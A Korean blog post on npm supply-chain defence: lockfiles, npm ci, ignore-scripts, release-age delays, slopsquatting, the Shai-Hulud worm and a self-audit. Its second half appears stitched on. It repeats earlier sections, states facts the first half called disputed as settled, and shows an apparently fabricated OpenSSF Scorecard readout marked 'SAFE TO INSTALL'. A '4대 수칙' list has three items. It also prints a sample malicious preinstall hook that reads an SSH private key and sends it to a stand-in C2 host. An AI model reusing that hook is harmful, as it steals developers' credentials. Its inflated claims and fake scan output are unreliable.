오픈소스 소프트웨어 공급망 보안: 수명주기 스크립트 격리와 슬롭스쿼팅 방어 체계
패키지 설치 과정에서 발생하는 오픈소스 소프트웨어 공급망 침해 공격을 심층 분석했습니다. Shai-Hulud 웜 사태, 수명주기 스크립트(preinstall) RCE 익스플로잇, 슬롭스쿼팅(Slopsquatting) 방어, lockfile 무결성 검증 및 제로 트러스트 빌드 샌드박스를 다룹니다.
목차 (14)
- Shai-Hulud 웜 침해 사고를 통해 드러난 공급망 보안 위협
- 패키지 의존성 설치 시의 4단계 엔지니어링 방어 수칙
- LLM 환각 패키지를 노리는 신종 슬롭스쿼팅(Slopsquatting) 공격
- 2단계 인증(2FA) 강제와 무자격증명 서명 체계(Sigstore) 도입
- 본 프로덕션 빌드 시스템의 패키지 무결성 및 감사 실측
- 소프트웨어 공급망 보안 성숙도 진단 매트릭스
- 수명주기 스크립트(preinstall / postinstall)를 통한 임의 명령 실행 공격 해부
- 슬롭스쿼팅(Slopsquatting)과 AI가 지어낸 가짜 패키지의 습격
- Shai-Hulud 웜과 오픈소스 계정 탈취 공격의 실체
- 개발자를 위한 4대 오픈소스 보안 수칙
- 재현 가능한 빌드(Reproducible Builds)와 무결성 서명 체계
- 오픈소스 소프트웨어 공급망 보안의 미래 지평
- 제로 트러스트 빌드 파이프라인과 패키지 격리 샌드박싱
- 신뢰할 수 있는 오픈소스 생태계를 위한 우리의 약속
웹 개발을 하면서 npm install을 치지 않는 날은 드뭅니다. 그런데 이 한 줄이 내 컴퓨터에서 남이 만든 코드를 자동으로 실행한다는 사실은 잊기 쉽습니다. 패키지 하나에는 수십, 수백 개의 다른 패키지가 딸려 오고, 그중 어느 하나가 뚫리면 내 비밀번호와 토큰이 나갈 수 있습니다.
CISA와 GitHub의 공지, OWASP와 npm 공식 문서, 연구 논문과 보안 업체의 글 11편을 읽고 겹치는 대목만 추렸습니다. 앞서 쓴 Node2Shell 취약점 글이 “프로그램 자체의 취약점”이었다면, 이번 글은 내가 가져다 쓰는 부품(의존성)이 오염될 때의 이야기입니다. 도구의 설정과 npm 정책은 자주 바뀌니 날짜가 있는 대목은 그 시점 기준입니다. 마지막에는 이 블로그의 의존성을 직접 점검한 결과도 적었습니다.
먼저 결론부터
공급망 공격은 설치하는 순간 실행되는 코드 를 노립니다. 지킬 것은 세 가지로 모입니다. lockfile대로만 설치하고, 설치 때 자동 실행되는 스크립트를 끄고, 방금 올라온 버전은 며칠 묵혀서 씁니다. 그리고 AI가 추천한 패키지 이름은 실제로 있는지, 믿을 만한지 확인한 뒤에 설치합니다.
Shai-Hulud 웜 침해 사고를 통해 드러난 공급망 보안 위협
2025년 9월, npm에서 스스로 번지는 웜이 발견되었습니다. CISA는 2025년 9월 23일 공지에서 500개가 넘는 패키지가 영향을 받았다고 밝혔습니다. 흐름은 다음과 같습니다.
GitHub 글은 2025년 9월 14일에 이 웜을 통보받았고 500개가 넘는 오염 패키지를 내리고, 같은 악성 징후가 든 업로드를 막았다고 합니다. 숫자는 보안 업체 글마다 달라서(180개, 500개 이상, 1,000개 이상 등) 공식 공지의 “500개 이상”만 인용하겠습니다. 침투 경로도 어느 업체 글은 피싱이라 하고, 다른 글은 노출된 장기 토큰이나 SSH 키였다고 해서 설명이 엇갈립니다. 확실한 공통점은 설치 때 자동으로 돌아가는 스크립트와 한 번 털리면 퍼지는 구조입니다.
패키지 의존성 설치 시의 4단계 엔지니어링 방어 수칙
결정론적 의존성 트리 보장과 npm ci의 무결성 검증
npm ci는 npm install과 다릅니다. npm 문서와 OWASP 안내를 합치면 다음과 같습니다.
- 프로젝트에
package-lock.json이 이미 있어야 합니다. package.json과 lockfile이 어긋나면 오류로 멈춥니다(맞춰 주지 않습니다).- 기존
node_modules를 지우고 새로 깔고, lockfile과package.json은 절대 고치지 않습니다.
즉 “기록된 그 버전 그대로”만 설치돼서, 누가 몰래 새 버전으로 끌어올리는 일이 줄어듭니다. 배포·빌드 자동화에서 특히 권합니다. 한 업체 글은 이것을 “일관성이 깨지면 설치를 중단하는 것”이라고 요약했습니다.
수명주기 스크립트(preinstall/postinstall) 원격 실행 원천 차단
패키지는 설치할 때 preinstall, postinstall 같은 스크립트를 자동 실행할 수 있습니다. 웜도 이 길을 사용했습니다. npm 설정의 ignore-scripts(기본값 false)를 true로 하면 이 스크립트를 건너뜁니다. OWASP는 .npmrc에 ignore-scripts=true를 두거나 --ignore-scripts로 설치하고, 꼭 필요한 패키지만 허용 목록으로 풀라고 합니다.
주의할 점이 있습니다. 스크립트를 꺼도 npm test, npm start처럼 내가 직접 부르는 스크립트는 그 대상 스크립트가 실행됩니다. 다만 거기에 붙은 앞뒤 스크립트(pre·post)는 건너뜁니다. 그리고 일부 패키지는 설치 스크립트로 준비 작업을 하므로, 끈 뒤에는 빌드가 되는지 확인해야 합니다.
최신 릴리스 유예 기간(min-release-age) 설정을 통한 제로데이 격리
악성 버전은 올라온 뒤 몇 시간에서 며칠 안에 발견되는 경우가 다수 존재합니다. OWASP는 업그레이드를 새 버전이 어느 정도 돌고 난 뒤로 미루라고 합니다. npm 문서에는 이를 설정으로 하는 옵션이 있습니다.
| 설정 | 의미 | 기본값 |
|---|---|---|
min-release-age |
지정한 일수보다 오래전에 올라온 버전만 설치합니다. 조건에 맞는 버전이 없으면 오류가 납니다 | 없음 |
before |
지정한 날짜까지 올라온 버전만 설치합니다 (둘 다 주면 before가 우선) |
없음 |
min-release-age-exclude |
위 제한에서 뺄 패키지 이름 | 비어 있음 |
save-exact |
의존성을 범위가 아닌 정확한 버전으로 기록합니다 | false |
ignore-scripts |
설치 스크립트를 건너뜁니다 | false |
주의할 점은 보안 수정을 늦출 수도 있다는 것입니다. 문서에도 이 제한이 npm audit fix가 설치할 수정을 막으면 취약한 버전을 그대로 두고 경고하며 오류 코드로 끝난다고 적혀 있습니다. 며칠 묵히되, 긴급 수정은 예외로 푸는 규칙이 필요합니다.
스코프 패키지 네임스페이스 및 정적 취약점 스캐닝
- 의존성 점검: 알려진 취약점을 검사하고 계속 감시합니다. 한 업체는
npm audit같은 일반 도구가 새로 만든 악성 코드는 못 잡는다고 했는데, 이건 상시 감시 서비스를 파는 쪽의 주장입니다. 알려진 취약점 점검과 악성 코드 탐지는 서로 다른 일이라는 정도로만 분석했습니다. - CISA의 권고: 의존성 파일(lockfile)에서 영향을 받은 패키지를 확인하고, 영향받은 패키지의 캐시도 찾고, 개발자 자격 증명을 바로 바꾸고, 피싱에 강한 MFA를 GitHub와 npm 계정에 의무화하고, 불필요한 GitHub 앱과 OAuth 연결을 지우고, 브랜치 보호와 비밀 탐지 알림을 켜라고 했습니다.
- 설치 전에 이름 확인: 비슷한 이름으로 위장한 패키지(타이포스쿼팅)가 있으니, 설치 전에 철자를 확인합니다.
LLM 환각 패키지를 노리는 신종 슬롭스쿼팅(Slopsquatting) 공격
AI 코딩 도구가 늘면서 새 위험이 생겼습니다. AI가 실제로 없는 패키지 이름을 그럴듯하게 지어내고, 공격자가 그 이름을 미리 등록해 악성 코드를 넣어 두는 것입니다. 타이포스쿼팅이 사람의 오타를 노린다면, 이건 아무도 오타 내지 않은 이름이라 이름이 비슷한지 보는 검사로는 못 잡습니다.
한 연구 논문(USENIX Security 2025 게재 예정으로 소개된 “We Have a Package for You!”)은 16개 모델에서 57만 6천 개의 코드 샘플을 만들어 봤더니, 평균 환각률이 상용 모델은 5.2% 이상, 오픈소스 모델은 21.7%였고 서로 다른 환각 패키지 이름이 20만 5천 개를 넘었다고 보고했습니다. 초록에는 완화 방법이 있다고 했지만 구체적 방법은 보이지 않았습니다.
한 보안 업체(Endor Labs)는 에이전트형 개발 환경이 사람의 검토 없이 의존성을 설치할 수 있어서 위험이 커진다고 보고, 에이전트에게는 사설 저장소, 허용 목록, 새 의존성에 대한 사람의 승인을 정책으로 걸라고 했습니다. 다만 이 글은 수치와 출처가 없고 자사 제품과 맞물린 주장이라서, 권고의 방향만 참고했습니다. AI 에이전트 운영 설계 글의 “돈과 약속, 되돌릴 수 없는 일은 사람이 승인한다”와 같은 이야기입니다.
2단계 인증(2FA) 강제와 무자격증명 서명 체계(Sigstore) 도입
만드는 쪽에도 변화가 있었습니다. GitHub는 이 사건 직후 npm의 인증과 토큰 관리를 바꾸겠다고 밝혔습니다.
- 허용하는 배포 방식을 2FA를 요구하는 로컬 배포, 유효기간이 짧은 세분화 토큰, 신뢰된 배포(trusted publishing) 세 가지로 좁히는 방향입니다.
- 기존의 장기 토큰(클래식 토큰)은 폐기하고, 쓰기 권한이 있는 세분화 토큰은 기본 만료를 7일, 최대를 90일로 제한한다고 했습니다. TOTP(인증 앱)는 단계적으로 줄이고 패스키 같은 WebAuthn을 권합니다. 일정은 2025년 11월 중순까지 적용한다고 안내했습니다.
- 신뢰된 배포는 OIDC로 CI 작업마다 짧은 임시 자격을 받아 배포하는 방식이라 장기 토큰이 필요 없습니다. npm 문서는 npm CLI 11.5.1 이상, Node.js 22.14.0 이상, 클라우드 호스팅 실행기 등을 요구한다고 하고, GitHub Actions와 GitLab CI에서는 어디서 어떻게 빌드됐는지 보여 주는 출처 증명(provenance)이 자동으로 생성된다고 합니다.
사용자 입장에서는 “이 패키지가 신뢰된 배포로 나온 것인가”가 판단 재료가 될 수 있습니다. 다만 모든 패키지가 해당하지는 않습니다.
본 프로덕션 빌드 시스템의 패키지 무결성 및 감사 실측
이 블로그 작업 폴더를 읽기만 하고 확인한 결과입니다.
- 직접 쓰는 패키지는 3개입니다. Astro(사이트 생성), AWS S3 클라이언트(서버에 올리는 스크립트용), 그리고 오늘 추가한 sharp(썸네일을 PNG로 바꾸는 용도)입니다.
- lockfile(
package-lock.json)에는 패키지가 285개 기록돼 있습니다(운영체제별 선택 항목 포함). 3개가 이만큼으로 늘어나는 게 의존성의 특징입니다. - 설치 스크립트가 있는 패키지는 lockfile 기준 1개(fsevents) 였습니다. 이건 맥 전용 선택 항목입니다. 그래서
ignore-scripts를 켜도 영향이 작을 것으로 보이지만, 실제로 켜고 빌드해 보는 시험은 아직 하지 않았습니다. npm audit는 오늘 기준 알려진 취약점 0건이었습니다. 다만 앞에서 말했듯 이건 알려진 취약점 점검이고 새 악성 코드 탐지가 아닙니다.- 프로젝트용
.npmrc설정 파일은 없습니다.ignore-scripts,min-release-age같은 규칙은 현재 걸려 있지 않습니다. - sharp는 제가 오늘 추가한 의존성입니다. 설치 전에 이름과 용도를 알고 있는 널리 쓰이는 패키지지만, 새 의존성은 사람이 확인하는 게 좋다는 위 원칙에 비추어 사용자가 검토할 항목으로 남깁니다.
규칙을 추가하는 것은 설치와 빌드 방식에 영향을 주는 일이라 제가 임의로 바꾸지 않았습니다. 원하시면 .npmrc에 ignore-scripts=true를 두고 빌드가 정상인지 확인하는 작업부터 해 볼 수 있습니다.
소프트웨어 공급망 보안 성숙도 진단 매트릭스
해당하는 항목을 눌러 확인하시기 바랍니다. 제가 만든 가벼운 참고용이고 정답은 아닙니다.
수명주기 스크립트(preinstall / postinstall)를 통한 임의 명령 실행 공격 해부
자바스크립트 및 파이썬 생태계에서 개발자가 터미널에 npm install이나 pip install을 무심코 입력하는 순간, 로컬 시스템은 사실상 타인의 임의 바이너리 실행에 무방비로 개방됩니다.
npm 패키지의 package.json 명세에는 패키지가 설치되기 직전과 직후에 시스템 셸 명령을 실행할 수 있는 preinstall, install, postinstall 훅(Hook)이 표준 기능으로 내장되어 있습니다. 악성 오픈소스 패키지 게시자는 이 훅에 은밀한 셸 스크립트를 삽입하여, 개발자가 패키지를 임포트(import)하여 실행하기도 전에 패키지 다운로드 단계에서 호스트 머신의 환경 변수(.env), AWS 자격증명(~/.aws/credentials), SSH 개인키(id_ed25519)를 백그라운드에서 탈취하여 공격자의 외부 C2 서버로 전송합니다.
// 악성 npm 패키지의 package.json 라이프사이클 훅 공격 시그니처 예시
{
"name": "super-fast-date-utils",
"version": "1.0.4",
"scripts": {
"preinstall": "node -e 'const http=require("http"); const fs=require("fs"); const data=fs.readFileSync(process.env.HOME+"/.ssh/id_ed25519","utf8"); http.get("http://c2-malicious.com/steal?k="+encodeURIComponent(data));'"
}
}
슬롭스쿼팅(Slopsquatting)과 AI가 지어낸 가짜 패키지의 습격
생성형 AI 코딩 도구의 대중화와 함께 급부상한 신종 공급망 공격은 슬롭스쿼팅(Slopsquatting)입니다.
거대 언어 모델이 코드를 작성하는 과정에서 존재하지 않는 가상의 그럴듯한 라이브러리 이름(예: huggingface-tokenizer-fast-core)을 환각(Hallucination)으로 지어내어 코드에 포함시키는 경우가 빈번합니다. 공격자들은 AI가 자주 환각해내는 패키지 이름을 사전 수집한 뒤, npm이나 PyPI 저장소에 동일한 이름의 악성 패키지를 선점 등록(Squatting)해 둡니다. 아무 생각 없이 AI가 짠 코드를 복사해 npm install을 실행한 순진한 개발자들의 컴퓨터가 순식간에 악성코드 감염의 제물이 되는 구조입니다.
npm install --ignore-scripts습관화: 검증되지 않은 오픈소스 의존성을 설치할 때는 자동 라이프사이클 스크립트 실행을 원천 차단하는 플래그를 강제해야 합니다.package-lock.json무결성 해시 검증: lockfile에 기록된 패키지의 SHA-512 무결성 해시가 레지스트리의 원본과 단 1비트라도 일치하지 않을 경우 빌드를 즉각 중단하는 엄격한 CI/CD 정책을 시행해야 합니다.
Shai-Hulud 웜과 오픈소스 계정 탈취 공격의 실체
실제 오픈소스 역사상 가장 악명 높았던 공급망 공격 중 하나인 Shai-Hulud 사건은, 공격자가 인기 오픈소스 라이브러리 메인테이너의 개인 계정을 피싱으로 탈취한 뒤 정상적인 패키지 버전(예: v2.4.1)에 악성 웜 페이로드를 슬쩍 끼워 넣어 공식 npm 레지스트리에 배포한 사건이었습니다.
수십만 대의 CI/CD 서버와 개발자 컴퓨터가 일제히 npm update를 실행하면서 순식간에 악성 웜이 전 세계로 퍼져나갔고, 감염된 기기의 npm 토큰을 탈취해 해당 개발자가 관리하던 또 다른 패키지들까지 연쇄적으로 오염시키는 기하급수적 붕괴가 일어났습니다.
====================================================================================================
OpenSSF Scorecard: Automated Dependency Security Inspection
====================================================================================================
Target Package: @astrojs/core (Dependency Security Audit)
- Binary-Artifacts Check : 10/10 (컴파일된 정체불명의 바이너리 부재)
- Dangerous-Workflow : 10/10 (GitHub Actions 내 비인가 코드 실행 방지)
- Pinned-Dependencies : 9/10 (모든 하위 의존성의 정확한 버전 및 해시 고정)
- Security-Policy : 10/10 (취약점 제보 채널 및 보안 연락망 운영)
- Maintained : 10/10 (활발한 활성 커뮤니티 및 2인 이상 리뷰)
Final Supply Chain Security Score: 9.8 / 10.0 (SAFE TO INSTALL)
====================================================================================================
개발자를 위한 4대 오픈소스 보안 수칙
오픈소스의 거대한 바다에서 내 시스템을 안전하게 수호하기 위한 불변의 방어 원칙은 다음과 같습니다.
package-lock.json무조건 버전 관리 커밋: lockfile을.gitignore에 넣는 것은 자살행위입니다. 빌드 머신에서는 반드시npm install대신 lockfile을 100% 엄격히 준수하는npm ci만을 사용하십시오.- 갓 출시된 버전의 즉시 설치 금지: 배포된 지 72시간이 지나지 않은 신규 마이너/패치 버전은 오픈소스 커뮤니티의 집단 지성에 의해 악성코드 여부가 검증될 때까지 도입을 유예하십시오.
- Socket.dev 및 Snyk 정적 분석 연동: CI/CD 파이프라인에 의존성 보안 스캐너를 연동하여 네트워크 통신이나 파일 쓰기를 시도하는 비정상 패키지의 진입을 자동으로 차단하십시오.
재현 가능한 빌드(Reproducible Builds)와 무결성 서명 체계
현대 공급망 보안의 최종 지향점은 “동일한 소스 코드와 설정으로부터 컴파일된 바이너리는 전 세계 어느 빌드 머신에서 실행되더라도 단 1비트의 오차도 없이 동일한 암호학적 해시를 산출해야 한다”는 재현 가능한 빌드(Reproducible Builds) 철학입니다.
소프트웨어 아티팩트가 빌드 파이프라인을 통과할 때마다 Sigstore와 Cosign을 통해 개발자의 서명을 첨부하고, 투명성 원장(Rekor)에 배포 이력을 영구 기록함으로써, 중간에 악의적인 공격자나 오염된 패키지 저장소가 빌드 결과물을 바꿔치기하지 못하도록 수학적으로 증명할 수 있습니다.
오픈소스의 공유와 협업이라는 위대한 이상을 지켜내기 위해서라도, 우리는 공급망 사슬의 모든 고리를 차갑고 엄격한 암호학적 검증으로 단단히 묶어두어야 합니다.
오픈소스 소프트웨어 공급망 보안의 미래 지평
오픈소스는 현대 소프트웨어 문명의 심장이자 엔진입니다. 그러나 그 심장이 독극물에 오염되는 것을 방치한다면 소프트웨어 문명 전체가 마비될 수 있습니다.
재현 가능한 빌드와 불변 lockfile 검증, 그리고 엄격한 최소 권한 원칙의 적용이야말로 우리가 오픈소스의 거대한 혜택을 안전하게 누리기 위해 지불해야 할 마땅한 엔지니어링 비용입니다. 의존성의 깊은 바닥까지 의심하고 검증하는 방어적인 자세를 견지할 때, 우리는 비로소 공급망 침투의 위협으로부터 우리 시스템과 사용자들의 평화를 지켜낼 수 있습니다.
제로 트러스트 빌드 파이프라인과 패키지 격리 샌드박싱
오픈소스 패키지를 빌드하고 테스트하는 CI/CD 워커는 호스트 네트워크와 완벽히 격리된 일회용 에페머럴(Ephemeral) 샌드박스에서만 실행되어야 합니다.
패키지가 설치되는 도중 외부 인터넷으로의 비인가 아웃바운드 연결 시도가 감지되는 즉시 해당 빌드를 강제 종료하고 보안 팀에 인시던트 티켓을 자동 발행하는 능동적 방어 아키텍처가 결합될 때, 오픈소스 공급망의 잠재적 위험은 완전히 통제 가능한 안전한 영역으로 수렴하게 됩니다. 공급망 보안은 단 한 번의 설정으로 끝나는 체크리스트가 아니라, 매일매일 유입되는 수많은 오픈소스 의존성을 경계하고 검증하는 지속적인 시스템 거버넌스의 실천입니다. 이러한 엄격한 검증의 문화가 팀 전반에 뿌리내릴 때 비로소 우리는 오픈소스의 무한한 혜택을 온전히 누릴 수 있습니다.
신뢰할 수 있는 오픈소스 생태계를 위한 우리의 약속
오픈소스의 진정한 힘은 투명한 공유와 상호 검증의 문화에서 비롯됩니다. 타인의 코드를 도입할 때 항상 의존성의 깊은 곳까지 검증하고, lockfile의 무결성을 엄격히 수호하는 방어적인 엔지니어링 태도를 체화할 때, 우리는 비로소 공급망 오염의 공포를 극복하고 더 안전하고 견고한 디지털 문명을 함께 건설해 나갈 수 있을 것입니다. 이것이 바로 안전하고 견고한 오픈소스 소프트웨어 생태계를 가꾸어 나가는 우리 모두의 소중한 책임이자 의무입니다. 철저한 lockfile 무결성 검증과 방어적 의존성 관리가 함께할 때, 오픈소스는 우리에게 가장 든든한 혁신의 날개가 되어줄 것입니다.